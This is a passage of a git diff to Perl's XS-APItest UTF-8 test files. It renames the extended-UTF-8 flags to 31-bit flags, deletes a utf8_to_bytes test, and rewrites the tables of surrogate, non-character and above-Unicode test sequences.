1); - my $expected_count = $count + 2 * $word_length - 2; - is(test_variant_under_utf8_count($test_string, $offset, - length $test_string), $expected_count, - "$display_string contains $expected_count variants"); -} +no warnings 'deprecated'; # Some of the below are above IV_MAX on 32 bit + # machines, and that is tested elsewhere +use XS::APItest; my $pound_sign = chr utf8::unicode_to_native(163); @@ -138,8 +32,8 @@ my $look_for_everything_utf8n_to | $::UTF8_WARN_NONCHAR | $::UTF8_DISALLOW_SUPER | $::UTF8_WARN_SUPER - | $::UTF8_DISALLOW_PERL_EXTENDED - | $::UTF8_WARN_PERL_EXTENDED; + | $::UTF8_DISALLOW_ABOVE_31_BIT + | $::UTF8_WARN_ABOVE_31_BIT; my $look_for_everything_uvchr_to = $::UNICODE_DISALLOW_SURROGATE | $::UNICODE_WARN_SURROGATE @@ -147,10 +41,8 @@ my $look_for_everything_uvchr_to | $::UNICODE_WARN_NONCHAR | $::UNICODE_DISALLOW_SUPER | $::UNICODE_WARN_SUPER - | $::UNICODE_DISALLOW_PERL_EXTENDED - | $::UNICODE_WARN_PERL_EXTENDED; - -my $highest_non_extended_cp = 2 ** ((isASCII) ? 31 : 30) - 1; + | $::UNICODE_DISALLOW_ABOVE_31_BIT + | $::UNICODE_WARN_ABOVE_31_BIT; foreach ([0, '', '', 'empty'], [0, 'N', 'N', '1 char'], @@ -167,10 +59,10 @@ foreach ([0, '', '', 'empty'], my ($expect, $left, $right, $desc) = @$_; my $copy = $right; utf8::encode($copy); - is(bytes_cmp_utf8($left, $copy), $expect, "bytes_cmp_utf8: $desc"); + is(bytes_cmp_utf8($left, $copy), $expect, $desc); next if $right =~ tr/\0-\377//c; utf8::encode($left); - is(bytes_cmp_utf8($right, $left), -$expect, "... and $desc reversed"); + is(bytes_cmp_utf8($right, $left), -$expect, "$desc reversed"); } # The keys to this hash are Unicode code points, their values are the native @@ -180,9 +72,9 @@ foreach ([0, '', '', 'empty'], # are adjacent to problematic code points, so we want to make sure they aren't # considered problematic. my %code_points = ( - 0x0100 => (isASCII) ? "\xc4\x80" : I8_to_native("\xc8\xa0"), - 0x0400 - 1 => (isASCII) ? "\xcf\xbf" : I8_to_native("\xdf\xbf"), - 0x0400 => (isASCII) ? "\xd0\x80" : I8_to_native("\xe1\xa0\xa0"), + 0x0100 => (isASCII) ? "\xc4\x80" : I8_to_native("\xc8\xa0"), + 0x0400 - 1 => (isASCII) ? "\xcf\xbf" : I8_to_native("\xdf\xbf"), + 0x0400 => (isASCII) ? "\xd0\x80" : I8_to_native("\xe1\xa0\xa0"), 0x0800 - 1 => (isASCII) ? "\xdf\xbf" : I8_to_native("\xe1\xbf\xbf"), 0x0800 => (isASCII) ? "\xe0\xa0\x80" : I8_to_native("\xe2\xa0\xa0"), 0x4000 - 1 => (isASCII) ? "\xe3\xbf\xbf" : I8_to_native("\xef\xbf\xbf"), @@ -203,10 +95,11 @@ my %code_points = ( 0xD7FF => (isASCII) ? "\xed\x9f\xbf" : I8_to_native("\xf1\xb5\xbf\xbf"), 0xD800 => (isASCII) ? "\xed\xa0\x80" : I8_to_native("\xf1\xb6\xa0\xa0"), 0xDC00 => (isASCII) ? "\xed\xb0\x80" : I8_to_native("\xf1\xb7\xa0\xa0"), + 0xDFFF => (isASCII) ? "\xee\x80\x80" : I8_to_native("\xf1\xb8\xa0\xa0"), 0xDFFF => (isASCII) ? "\xed\xbf\xbf" : I8_to_native("\xf1\xb7\xbf\xbf"), 0xE000 => (isASCII) ? "\xee\x80\x80" : I8_to_native("\xf1\xb8\xa0\xa0"), - # Include the 32 contiguous non characters, and adjacent code points + # Include the 32 contiguous non characters, and surrounding code points 0xFDCF => (isASCII) ? "\xef\xb7\x8f" : I8_to_native("\xf1\xbf\xae\xaf"), 0xFDD0 => (isASCII) ? "\xef\xb7\x90" : I8_to_native("\xf1\xbf\xae\xb0"), 0xFDD1 => (isASCII) ? "\xef\xb7\x91" : I8_to_native("\xf1\xbf\xae\xb1"), @@ -491,18 +384,16 @@ my %code_points = ( 0x80000000 - 1 => (isASCII) ? "\xfd\xbf\xbf\xbf\xbf\xbf" : I8_to_native("\xff\xa0\xa0\xa0\xa0\xa0\xa0\xa1\xbf\xbf\xbf\xbf\xbf\xbf"), + 0x80000000 => + (isASCII) ? "\xfe\x82\x80\x80\x80\x80\x80" + : I8_to_native("\xff\xa0\xa0\xa0\xa0\xa0\xa0\xa2\xa0\xa0\xa0\xa0\xa0\xa0"), + 0xFFFFFFFF => + (isASCII) ? "\xfe\x83\xbf\xbf\xbf\xbf\xbf" + : I8_to_native("\xff\xa0\xa0\xa0\xa0\xa0\xa0\xa3\xbf\xbf\xbf\xbf\xbf\xbf"), ); if ($::is64bit) { no warnings qw(overflow portable); - $code_points{0x80000000} - = (isASCII) - ? "\xfe\x82\x80\x80\x80\x80\x80" - : I8_to_native("\xff\xa0\xa0\xa0\xa0\xa0\xa0\xa2\xa0\xa0\xa0\xa0\xa0\xa0"); - $code_points{0xFFFFFFFF} - = (isASCII) - ? "\xfe\x83\xbf\xbf\xbf\xbf\xbf" - : I8_to_native("\xff\xa0\xa0\xa0\xa0\xa0\xa0\xa3\xbf\xbf\xbf\xbf\xbf\xbf"); $code_points{0x100000000} = (isASCII) ? "\xfe\x84\x80\x80\x80\x80\x80" @@ -515,17 +406,10 @@ if ($::is64bit) { = (isASCII) ? "\xff\x80\x80\x80\x80\x80\x81\x80\x80\x80\x80\x80\x80" : I8_to_native("\xff\xa0\xa0\xa0\xa0\xa0\xa2\xa0\xa0\xa0\xa0\xa0\xa0\xa0"); - $code_points{0x7FFFFFFFFFFFFFFF} + $code_points{0xFFFFFFFFFFFFFFFF} = (isASCII) - ? "\xff\x80\x87\xbf\xbf\xbf\xbf\xbf\xbf\xbf\xbf\xbf\xbf" - : I8_to_native("\xff\xa7\xbf\xbf\xbf\xbf\xbf\xbf\xbf\xbf\xbf\xbf\xbf\xbf"); - - # This is used when UV_MAX is the upper limit of acceptable code points - # $code_points{0xFFFFFFFFFFFFFFFF} - # = (isASCII) - # ? "\xff\x80\x8f\xbf\xbf\xbf\xbf\xbf\xbf\xbf\xbf\xbf\xbf" - # : I8_to_native("\xff\xaf\xbf\xbf\xbf\xbf\xbf\xbf\xbf\xbf\xbf\xbf\xbf\xbf"); - + ? "\xff\x80\x8f\xbf\xbf\xbf\xbf\xbf\xbf\xbf\xbf\xbf\xbf" + : I8_to_native("\xff\xaf\xbf\xbf\xbf\xbf\xbf\xbf\xbf\xbf\xbf\xbf\xbf\xbf"); if (isASCII) { # These could falsely show as overlongs in a naive # implementation $code_points{0x40000000000} @@ -565,17 +449,17 @@ while ($cp < ((isASCII) ? 128 : 160)) { # This is from the definition of # continuation bytes can be in, and what the lowest start byte can be. So we # cycle through them. -my $highest_continuation = 0xBF; +my $final_continuation = 0xBF; my $start = (isASCII) ? 0xC2 : 0xC5; -my $continuation = $::lowest_continuation - 1; +my $continuation = $::first_continuation - 1; while ($cp < 255) { - if (++$continuation > $highest_continuation) { + if (++$continuation > $final_continuation) { # Wrap to the next start byte when we reach the final continuation # byte possible - $continuation = $::lowest_continuation; + $continuation = $::first_continuation; $start++; } $code_points{$cp} = I8_to_native(chr($start) . chr($continuation)); @@ -590,6 +474,11 @@ local $SIG{__WARN__} = sub { push @warnings, @_ }; my %restriction_types; +$restriction_types{""}{'valid_strings'} = ""; +$restriction_types{"c9strict"}{'valid_strings'} = ""; +$restriction_types{"strict"}{'valid_strings'} = ""; +$restriction_types{"fits_in_31_bits"}{'valid_strings'} = ""; + # This set of tests looks for basic sanity, and lastly tests various routines # for the given code point. If the earlier tests for that code point fail, # the later ones probably will too. Malformations are tested in later @@ -731,15 +620,15 @@ for my $u (sort { utf8::unicode_to_native($a) <=> utf8::unicode_to_native($b) } my $valid_under_strict = 1; my $valid_under_c9strict = 1; - my $valid_for_not_extended_utf8 = 1; + my $valid_for_fits_in_31_bits = 1; if ($n > 0x10FFFF) { $this_utf8_flags &= ~($::UTF8_DISALLOW_SUPER|$::UTF8_WARN_SUPER); $valid_under_strict = 0; $valid_under_c9strict = 0; - if ($n > $highest_non_extended_cp) { + if ($n > 2 ** 31 - 1) { $this_utf8_flags &= - ~($::UTF8_DISALLOW_PERL_EXTENDED|$::UTF8_WARN_PERL_EXTENDED); - $valid_for_not_extended_utf8 = 0; + ~($::UTF8_DISALLOW_ABOVE_31_BIT|$::UTF8_WARN_ABOVE_31_BIT); + $valid_for_fits_in_31_bits = 0; } } elsif (($n >= 0xFDD0 && $n <= 0xFDEF) || ($n & 0xFFFE) == 0xFFFE) { @@ -893,20 +782,19 @@ for my $u (sort { utf8::unicode_to_native($a) <=> utf8::unicode_to_native($b) } # Similarly for uvchr_to_utf8 my $this_uvchr_flags = $look_for_everything_uvchr_to; - if ($n > $highest_non_extended_cp) { + if ($n > 2 ** 31 - 1) { $this_uvchr_flags &= - ~($::UNICODE_DISALLOW_PERL_EXTENDED|$::UNICODE_WARN_PERL_EXTENDED); + ~($::UNICODE_DISALLOW_ABOVE_31_BIT|$::UNICODE_WARN_ABOVE_31_BIT); } if ($n > 0x10FFFF) { $this_uvchr_flags &= ~($::UNICODE_DISALLOW_SUPER|$::UNICODE_WARN_SUPER); } elsif (($n >= 0xFDD0 && $n <= 0xFDEF) || ($n & 0xFFFE) == 0xFFFE) { - $this_uvchr_flags - &= ~($::UNICODE_DISALLOW_NONCHAR|$::UNICODE_WARN_NONCHAR); + $this_uvchr_flags &= ~($::UNICODE_DISALLOW_NONCHAR|$::UNICODE_WARN_NONCHAR); } elsif ($n >= 0xD800 && $n <= 0xDFFF) { $this_uvchr_flags - &= ~($::UNICODE_DISALLOW_SURROGATE|$::UNICODE_WARN_SURROGATE); + &= ~($::UNICODE_DISALLOW_SURROGATE|$::UNICODE_WARN_SURROGATE); } $display_flags = sprintf "0x%x", $this_uvchr_flags; @@ -956,17 +844,17 @@ for my $u (sort { utf8::unicode_to_native($a) <=> utf8::unicode_to_native($b) } = $restriction_types{"strict"}{'valid_counts'}; } - if ($valid_for_not_extended_utf8) { - $restriction_types{"not_extended_utf8"}{'valid_strings'} .= $bytes; - $restriction_types{"not_extended_utf8"}{'valid_counts'}++; + if ($valid_for_fits_in_31_bits) { + $restriction_types{"fits_in_31_bits"}{'valid_strings'} .= $bytes; + $restriction_types{"fits_in_31_bits"}{'valid_counts'}++; } elsif (! exists - $restriction_types{"not_extended_utf8"}{'first_invalid_offset'}) + $restriction_types{"fits_in_31_bits"}{'first_invalid_offset'}) { - $restriction_types{"not_extended_utf8"}{'first_invalid_offset'} - = length $restriction_types{"not_extended_utf8"}{'valid_strings'}; - $restriction_types{"not_extended_utf8"}{'first_invalid_count'} - = $restriction_types{"not_extended_utf8"}{'valid_counts'}; + $restriction_types{"fits_in_31_bits"}{'first_invalid_offset'} + = length $restriction_types{"fits_in_31_bits"}{'valid_strings'}; + $restriction_types{"fits_in_31_bits"}{'first_invalid_count'} + = $restriction_types{"fits_in_31_bits"}{'valid_counts'}; } } @@ -986,7 +874,7 @@ for my $restriction (sort keys %restriction_types) { # and the specially named foo function. But not if there isn't such a # specially named function. Currently, this is the only tested # restriction that doesn't have a specially named function - next if $use_flags eq "" && $restriction eq "not_extended_utf8"; + next if $use_flags eq "" && $restriction eq "fits_in_31_bits"; # Start building up the name of the function we will test. my $base_name = "is_"; @@ -998,7 +886,7 @@ for my $restriction (sort keys %restriction_types) { # We test both "is_utf8_string_foo" and "is_fixed_width_buf" functions foreach my $operand ('string', 'fixed_width_buf') { - # Currently, only fixed_width_buf functions have the '_flags' + # Currently, the only fixed_width_buf functions have the '_flags' # suffix. next if $operand eq 'fixed_width_buf' && $use_flags eq ""; @@ -1013,7 +901,7 @@ for my $restriction (sort keys %restriction_types) { # continuation character to the valid string # c) input created by appending a partial character. This # is valid in the 'fixed_width' functions, but invalid in - # the 'string' ones + # the 'string' ones # d) invalid input created by calling a function that is # expecting a restricted form of the input using the string # that's valid when unrestricted @@ -1057,29 +945,42 @@ for my $restriction (sort keys %restriction_types) { = 0 if $operand eq "fixed_width_buf"; } } - elsif (! exists $restriction_types - {$this_error_type}{'first_invalid_count'}) - { - # If no errors were found, this is entirely valid. - $this_error_type = 0; - } else { + $test_name_suffix + = " if contains forbidden code points"; + if ($this_error_type eq "c9strict") { + $bytes = $restriction_types{""}{'valid_strings'}; + $expected_offset + = $restriction_types{"c9strict"} + {'first_invalid_offset'}; + $expected_count + = $restriction_types{"c9strict"} + {'first_invalid_count'}; + } + elsif ($this_error_type eq "strict") { + $bytes = $restriction_types{""}{'valid_strings'}; + $expected_offset + = $restriction_types{"strict"} + {'first_invalid_offset'}; + $expected_count + = $restriction_types{"strict"} + {'first_invalid_count'}; - if (! exists $restriction_types{$this_error_type}) { + } + elsif ($this_error_type eq "fits_in_31_bits") { + $bytes = $restriction_types{""}{'valid_strings'}; + $expected_offset + = $restriction_types{"fits_in_31_bits"} + {'first_invalid_offset'}; + $expected_count + = $restriction_types{"fits_in_31_bits"} + {'first_invalid_count'}; + } + else { fail("Internal test error: Unknown error type " . "'$this_error_type'"); next; } - $test_name_suffix - = " if contains forbidden code points"; - - $bytes = $restriction_types{""}{'valid_strings'}; - $expected_offset - = $restriction_types{$this_error_type} - {'first_invalid_offset'}; - $expected_count - = $restriction_types{$this_error_type } - {'first_invalid_count'}; } } @@ -1106,8 +1007,8 @@ for my $restriction (sort keys %restriction_types) { elsif ($restriction eq "strict") { $test .= ", $::UTF8_DISALLOW_ILLEGAL_INTERCHANGE"; } - elsif ($restriction eq "not_extended_utf8") { - $test .= ", $::UTF8_DISALLOW_PERL_EXTENDED"; + elsif ($restriction eq "fits_in_31_bits") { + $test .= ", $::UTF8_DISALLOW_ABOVE_31_BIT"; } else { fail("Internal test error: Unknown restriction " diff --git a/ext/XS-APItest/t/utf8_setup.pl b/ext/XS-APItest/t/utf8_setup.pl index 231b4d9494c7..094390016bb0 100644 --- a/ext/XS-APItest/t/utf8_setup.pl +++ b/ext/XS-APItest/t/utf8_setup.pl @@ -8,28 +8,16 @@ sub isASCII { ord "A" == 65 } -sub display_bytes_no_quotes { +sub display_bytes { use bytes; my $string = shift; - return join("", map { - ($_ =~ /[[:print:]]/) - ? $_ - : sprintf("\\x%02x", ord $_) - } split "", $string) -} - -sub display_bytes { - return '"' . display_bytes_no_quotes(shift) . '"'; + return '"' + . join("", map { sprintf("\\x%02x", ord $_) } split "", $string) + . '"'; } sub output_warnings(@) { - my @list = @_; - if (@list) { - diag "The warnings were:\n" . join "\n", map { chomp; $_ } @list; - } - else { - diag "No warnings were raised"; - } + diag "The warnings were:\n" . join("", @_); } sub start_byte_to_cont($) { @@ -55,7 +43,7 @@ ($) $::is64bit = length sprintf("%x", ~0) > 8; -$::lowest_continuation = (isASCII) ? 0x80 : 0xA0; +$::first_continuation = (isASCII) ? 0x80 : 0xA0; $::I8c = (isASCII) ? "\x80" : "\xa0"; # A continuation byte @@ -86,12 +74,10 @@ ($) $::UTF8_DISALLOW_SUPER = 0x1000; $::UTF8_GOT_SUPER = $UTF8_DISALLOW_SUPER; $::UTF8_WARN_SUPER = 0x2000; -$::UTF8_DISALLOW_PERL_EXTENDED = 0x4000; -$::UTF8_GOT_PERL_EXTENDED = $UTF8_DISALLOW_PERL_EXTENDED; -$::UTF8_WARN_PERL_EXTENDED = 0x8000; +$::UTF8_DISALLOW_ABOVE_31_BIT = 0x4000; +$::UTF8_GOT_ABOVE_31_BIT = $UTF8_DISALLOW_ABOVE_31_BIT; +$::UTF8_WARN_ABOVE_31_BIT = 0x8000; $::UTF8_CHECK_ONLY = 0x10000; -$::UTF8_NO_CONFIDENCE_IN_CURLEN_ = 0x20000; - $::UTF8_DISALLOW_ILLEGAL_C9_INTERCHANGE = $UTF8_DISALLOW_SUPER|$UTF8_DISALLOW_SURROGATE; $::UTF8_DISALLOW_ILLEGAL_INTERCHANGE @@ -105,8 +91,8 @@ ($) $::UNICODE_WARN_SURROGATE = 0x0001; $::UNICODE_WARN_NONCHAR = 0x0002; $::UNICODE_WARN_SUPER = 0x0004; -$::UNICODE_WARN_PERL_EXTENDED = 0x0008; +$::UNICODE_WARN_ABOVE_31_BIT = 0x0008; $::UNICODE_DISALLOW_SURROGATE = 0x0010; $::UNICODE_DISALLOW_NONCHAR = 0x0020; $::UNICODE_DISALLOW_SUPER = 0x0040; -$::UNICODE_DISALLOW_PERL_EXTENDED = 0x0080; +$::UNICODE_DISALLOW_ABOVE_31_BIT = 0x0080; diff --git a/ext/XS-APItest/t/utf8_to_bytes.t b/ext/XS-APItest/t/utf8_to_bytes.t deleted file mode 100644 index 4c03f842f53c..000000000000 --- a/ext/XS-APItest/t/utf8_to_bytes.t +++ /dev/null @@ -1,68 +0,0 @@ -#!perl -w - -# This is a base file to be used by various .t's in its directory -# It tests various malformed UTF-8 sequences and some code points that are -# "problematic", and verifies that the correct warnings/flags etc are -# generated when using them. For the code points, it also takes the UTF-8 and -# perturbs it to be malformed in various ways, and tests that this gets -# appropriately detected. - -use strict; -use Test::More; - -BEGIN { - require './t/utf8_setup.pl'; - use_ok('XS::APItest'); -}; - -$|=1; - -use Data::Dumper; - -my @well_formed = ( - "\xE1", - "The quick brown fox jumped over the lazy dog", - "Ces systèmes de codage sont souvent incompatibles entre eux. Ainsi, deux systèmes peuvent utiliser le même nombre pour deux caractères différents ou utiliser différents nombres pour le même caractère.", - "Kelimelerin m\xC3\xAAme caract\xC3\xA8re ve yaz\xC3\xB1abc", -); - -my @malformed = ( - "Kelimelerin m\xC3\xAAme caract\xC3\xA8re ve yaz\xC4\xB1abc", - "Kelimelerin m\xC3\xAAme caract\xC3\xA8re ve yaz\xC4\xB1\xC3\xA8abc", - "Kelimelerin m\xC3\xAAme caract\xC3re ve yazi\xC3\xA8abc", - "Kelimelerin m\xC3\xAAme caract\xA8 ve yazi\xC3\xA8abc", - "Kelimelerin m\xC3\xAAme caract\xC3\xA8\xC3re ve yazi\xC3\xA8abc", -); - -for my $test (@well_formed) { - my $utf8 = $test; - utf8::upgrade($utf8); - my $utf8_length; - my $byte_length = length $test; - - { - use bytes; - $utf8_length = length $utf8; - } - - my $ret_ref = test_utf8_to_bytes($utf8, $utf8_length); - - is ($ret_ref->[0], $test, "Successfully downgraded " - . display_bytes($utf8)); - is ($ret_ref->[1], $byte_length, "... And returned correct length(" - . $byte_length . ")"); -} - -for my $test (@malformed) { - my $utf8 = $test; - my $utf8_length = length $test; - - my $ret_ref = test_utf8_to_bytes($utf8, $utf8_length); - - ok (! defined $ret_ref->[0], "Returned undef for malformed " - . display_bytes($utf8)); - is ($ret_ref->[1], -1, "... And returned length -1"); - is ($ret_ref->[2], $utf8, "... And left the input unchanged"); -} - -done_testing(); diff --git a/ext/XS-APItest/t/utf8_warn_base.pl b/ext/XS-APItest/t/utf8_warn_base.pl index 0c9e20b9cac0..66f6f3df6aef 100644 --- a/ext/XS-APItest/t/utf8_warn_base.pl +++ b/ext/XS-APItest/t/utf8_warn_base.pl @@ -1,11 +1,6 @@ #!perl -w # This is a base file to be used by various .t's in its directory -# It tests various malformed UTF-8 sequences and some code points that are -# "problematic", and verifies that the correct warnings/flags etc are -# generated when using them. For the code points, it also takes the UTF-8 and -# perturbs it to be malformed in various ways, and tests that this gets -# appropriately detected. use strict; use Test::More; @@ -18,1855 +13,1040 @@ BEGIN $|=1; +no warnings 'deprecated'; # Some of the below are above IV_MAX on 32 bit + # machines, and that is tested elsewhere + use XS::APItest; +use Data::Dumper; -my @warnings_gotten; +my @warnings; use warnings 'utf8'; -local $SIG{__WARN__} = sub { my @copy = @_; - push @warnings_gotten, map { chomp; $_ } @copy; - }; - -my $highest_non_extended_utf8_cp = (isASCII) ? 0x7FFFFFFF : 0x3FFFFFFF; -my $native_lowest_continuation_chr = I8_to_native(chr $::lowest_continuation); - -# C5 is chosen as it is valid for both ASCII and EBCDIC platforms -my $known_start_byte = I8_to_native("\xC5"); - -sub requires_extended_utf8($) { - - # Returns a boolean as to whether or not the code point parameter fits - # into 31 bits, subject to the convention that a negative code point - # stands for one that overflows the word size, so won't fit in 31 bits. - - return shift > $highest_non_extended_utf8_cp; -} - -sub is_extended_utf8($) { - - # Returns a boolean as to whether or not the input UTF-8 sequence uses - # Perl extended UTF-8. - - my $byte = substr(shift, 0, 1); - return ord $byte >= 0xFE if isASCII; - return $byte == I8_to_native("\xFF"); -} +local $SIG{__WARN__} = sub { push @warnings, @_ }; -sub overflow_discern_len($) { +sub nonportable_regex ($) { - # Returns how many bytes are needed to tell if a non-overlong UTF-8 - # sequence is for a code point that won't fit in the platform's word size. - # Only the length of the sequence representing a single code point is - # needed. + # Returns a pattern that matches the non-portable message raised either + # for the specific input code point, or the one generated when there + # is some malformation that precludes the message containing the specific + # code point - if (isASCII) { - return ($::is64bit) ? 3 : 1; - - # Below is needed for code points above IV_MAX - #return ($::is64bit) ? 3 : ((shift == $::max_bytes) - # ? 1 - # : 2); - } + my $code_point = shift; - return ($::is64bit) ? 2 : 8; + my $string = sprintf '(Code point 0x%X is not Unicode, and' + . '|Any UTF-8 sequence that starts with' + . ' "(\\\x[[:xdigit:]]{2})+" is for a' + . ' non-Unicode code point, and is) not portable', + $code_point; + return qr/$string/; } -sub overlong_discern_len($) { - - # Returns how many bytes are needed to tell if the input UTF-8 sequence - # for a code point is overlong - - my $string = shift; - my $length = length $string; - my $byte = ord native_to_I8(substr($string, 0, 1)); +# Now test the cases where a legal code point is generated, but may or may not +# be allowed/warned on. +my @tests = ( + # ($testname, $bytes, $warn_flags, $disallow_flags, $expected_error_flags, + # $category, $allowed_uv, $expected_len, $needed_to_discern_len, $message ) + [ "lowest surrogate", + (isASCII) ? "\xed\xa0\x80" : I8_to_native("\xf1\xb6\xa0\xa0"), + $::UTF8_WARN_SURROGATE, $::UTF8_DISALLOW_SURROGATE, $::UTF8_GOT_SURROGATE, + 'surrogate', 0xD800, + (isASCII) ? 3 : 4, + 2, + qr/surrogate/ + ], + [ "a middle surrogate", + (isASCII) ? "\xed\xa4\x8d" : I8_to_native("\xf1\xb6\xa8\xad"), + $::UTF8_WARN_SURROGATE, $::UTF8_DISALLOW_SURROGATE, $::UTF8_GOT_SURROGATE, + 'surrogate', 0xD90D, + (isASCII) ? 3 : 4, + 2, + qr/surrogate/ + ], + [ "highest surrogate", + (isASCII) ? "\xed\xbf\xbf" : I8_to_native("\xf1\xb7\xbf\xbf"), + $::UTF8_WARN_SURROGATE, $::UTF8_DISALLOW_SURROGATE, $::UTF8_GOT_SURROGATE, + 'surrogate', 0xDFFF, + (isASCII) ? 3 : 4, + 2, + qr/surrogate/ + ], + [ "first non_unicode", + (isASCII) ? "\xf4\x90\x80\x80" : I8_to_native("\xf9\xa2\xa0\xa0\xa0"), + $::UTF8_WARN_SUPER, $::UTF8_DISALLOW_SUPER, $::UTF8_GOT_SUPER, + 'non_unicode', 0x110000, + (isASCII) ? 4 : 5, + 2, + qr/(not Unicode|for a non-Unicode code point).* may not be portable/ + ], + [ "non_unicode whose first byte tells that", + (isASCII) ? "\xf5\x80\x80\x80" : I8_to_native("\xfa\xa0\xa0\xa0\xa0"), + $::UTF8_WARN_SUPER, $::UTF8_DISALLOW_SUPER, $::UTF8_GOT_SUPER, + 'non_unicode', + (isASCII) ? 0x140000 : 0x200000, + (isASCII) ? 4 : 5, + 1, + qr/(not Unicode|for a non-Unicode code point).* may not be portable/ + ], + [ "first of 32 consecutive non-character code points", + (isASCII) ? "\xef\xb7\x90" : I8_to_native("\xf1\xbf\xae\xb0"), + $::UTF8_WARN_NONCHAR, $::UTF8_DISALLOW_NONCHAR, $::UTF8_GOT_NONCHAR, + 'nonchar', 0xFDD0, + (isASCII) ? 3 : 4, + (isASCII) ? 3 : 4, + qr/Unicode non-character.*is not recommended for open interchange/ + ], + [ "a mid non-character code point of the 32 consecutive ones", + (isASCII) ? "\xef\xb7\xa0" : I8_to_native("\xf1\xbf\xaf\xa0"), + $::UTF8_WARN_NONCHAR, $::UTF8_DISALLOW_NONCHAR, $::UTF8_GOT_NONCHAR, + 'nonchar', 0xFDE0, + (isASCII) ? 3 : 4, + (isASCII) ? 3 : 4, + qr/Unicode non-character.*is not recommended for open interchange/ + ], + [ "final of 32 consecutive non-character code points", + (isASCII) ? "\xef\xb7\xaf" : I8_to_native("\xf1\xbf\xaf\xaf"), + $::UTF8_WARN_NONCHAR, $::UTF8_DISALLOW_NONCHAR, $::UTF8_GOT_NONCHAR, + 'nonchar', 0xFDEF, + (isASCII) ? 3 : 4, + (isASCII) ? 3 : 4, + qr/Unicode non-character.*is not recommended for open interchange/ + ], + [ "non-character code point U+FFFE", + (isASCII) ? "\xef\xbf\xbe" : I8_to_native("\xf1\xbf\xbf\xbe"), + $::UTF8_WARN_NONCHAR, $::UTF8_DISALLOW_NONCHAR, $::UTF8_GOT_NONCHAR, + 'nonchar', 0xFFFE, + (isASCII) ? 3 : 4, + (isASCII) ? 3 : 4, + qr/Unicode non-character.*is not recommended for open interchange/ + ], + [ "non-character code point U+FFFF", + (isASCII) ? "\xef\xbf\xbf" : I8_to_native("\xf1\xbf\xbf\xbf"), + $::UTF8_WARN_NONCHAR, $::UTF8_DISALLOW_NONCHAR, $::UTF8_GOT_NONCHAR, + 'nonchar', 0xFFFF, + (isASCII) ? 3 : 4, + (isASCII) ? 3 : 4, + qr/Unicode non-character.*is not recommended for open interchange/ + ], + [ "non-character code point U+1FFFE", + (isASCII) ? "\xf0\x9f\xbf\xbe" : I8_to_native("\xf3\xbf\xbf\xbe"), + $::UTF8_WARN_NONCHAR, $::UTF8_DISALLOW_NONCHAR, $::UTF8_GOT_NONCHAR, + 'nonchar', 0x1FFFE, + 4, 4, + qr/Unicode non-character.*is not recommended for open interchange/ + ], + [ "non-character code point U+1FFFF", + (isASCII) ? "\xf0\x9f\xbf\xbf" : I8_to_native("\xf3\xbf\xbf\xbf"), + $::UTF8_WARN_NONCHAR, $::UTF8_DISALLOW_NONCHAR, $::UTF8_GOT_NONCHAR, + 'nonchar', 0x1FFFF, + 4, 4, + qr/Unicode non-character.*is not recommended for open interchange/ + ], + [ "non-character code point U+2FFFE", + (isASCII) ? "\xf0\xaf\xbf\xbe" : I8_to_native("\xf5\xbf\xbf\xbe"), + $::UTF8_WARN_NONCHAR, $::UTF8_DISALLOW_NONCHAR, $::UTF8_GOT_NONCHAR, + 'nonchar', 0x2FFFE, + 4, 4, + qr/Unicode non-character.*is not recommended for open interchange/ + ], + [ "non-character code point U+2FFFF", + (isASCII) ? "\xf0\xaf\xbf\xbf" : I8_to_native("\xf5\xbf\xbf\xbf"), + $::UTF8_WARN_NONCHAR, $::UTF8_DISALLOW_NONCHAR, $::UTF8_GOT_NONCHAR, + 'nonchar', 0x2FFFF, + 4, 4, + qr/Unicode non-character.*is not recommended for open interchange/ + ], + [ "non-character code point U+3FFFE", + (isASCII) ? "\xf0\xbf\xbf\xbe" : I8_to_native("\xf7\xbf\xbf\xbe"), + $::UTF8_WARN_NONCHAR, $::UTF8_DISALLOW_NONCHAR, $::UTF8_GOT_NONCHAR, + 'nonchar', 0x3FFFE, + 4, 4, + qr/Unicode non-character.*is not recommended for open interchange/ + ], + [ "non-character code point U+3FFFF", + (isASCII) ? "\xf0\xbf\xbf\xbf" : I8_to_native("\xf7\xbf\xbf\xbf"), + $::UTF8_WARN_NONCHAR, $::UTF8_DISALLOW_NONCHAR, $::UTF8_GOT_NONCHAR, + 'nonchar', 0x3FFFF, + 4, 4, + qr/Unicode non-character.*is not recommended for open interchange/ + ], + [ "non-character code point U+4FFFE", + (isASCII) ? "\xf1\x8f\xbf\xbe" : I8_to_native("\xf8\xa9\xbf\xbf\xbe"), + $::UTF8_WARN_NONCHAR, $::UTF8_DISALLOW_NONCHAR, $::UTF8_GOT_NONCHAR, + 'nonchar', 0x4FFFE, + (isASCII) ? 4 : 5, + (isASCII) ? 4 : 5, + qr/Unicode non-character.*is not recommended for open interchange/ + ], + [ "non-character code point U+4FFFF", + (isASCII) ? "\xf1\x8f\xbf\xbf" : I8_to_native("\xf8\xa9\xbf\xbf\xbf"), + $::UTF8_WARN_NONCHAR, $::UTF8_DISALLOW_NONCHAR, $::UTF8_GOT_NONCHAR, + 'nonchar', 0x4FFFF, + (isASCII) ? 4 : 5, + (isASCII) ? 4 : 5, + qr/Unicode non-character.*is not recommended for open interchange/ + ], + [ "non-character code point U+5FFFE", + (isASCII) ? "\xf1\x9f\xbf\xbe" : I8_to_native("\xf8\xab\xbf\xbf\xbe"), + $::UTF8_WARN_NONCHAR, $::UTF8_DISALLOW_NONCHAR, $::UTF8_GOT_NONCHAR, + 'nonchar', 0x5FFFE, + (isASCII) ? 4 : 5, + (isASCII) ? 4 : 5, + qr/Unicode non-character.*is not recommended for open interchange/ + ], + [ "non-character code point U+5FFFF", + (isASCII) ? "\xf1\x9f\xbf\xbf" : I8_to_native("\xf8\xab\xbf\xbf\xbf"), + $::UTF8_WARN_NONCHAR, $::UTF8_DISALLOW_NONCHAR, $::UTF8_GOT_NONCHAR, + 'nonchar', 0x5FFFF, + (isASCII) ? 4 : 5, + (isASCII) ? 4 : 5, + qr/Unicode non-character.*is not recommended for open interchange/ + ], + [ "non-character code point U+6FFFE", + (isASCII) ? "\xf1\xaf\xbf\xbe" : I8_to_native("\xf8\xad\xbf\xbf\xbe"), + $::UTF8_WARN_NONCHAR, $::UTF8_DISALLOW_NONCHAR, $::UTF8_GOT_NONCHAR, + 'nonchar', 0x6FFFE, + (isASCII) ? 4 : 5, + (isASCII) ? 4 : 5, + qr/Unicode non-character.*is not recommended for open interchange/ + ], + [ "non-character code point U+6FFFF", + (isASCII) ? "\xf1\xaf\xbf\xbf" : I8_to_native("\xf8\xad\xbf\xbf\xbf"), + 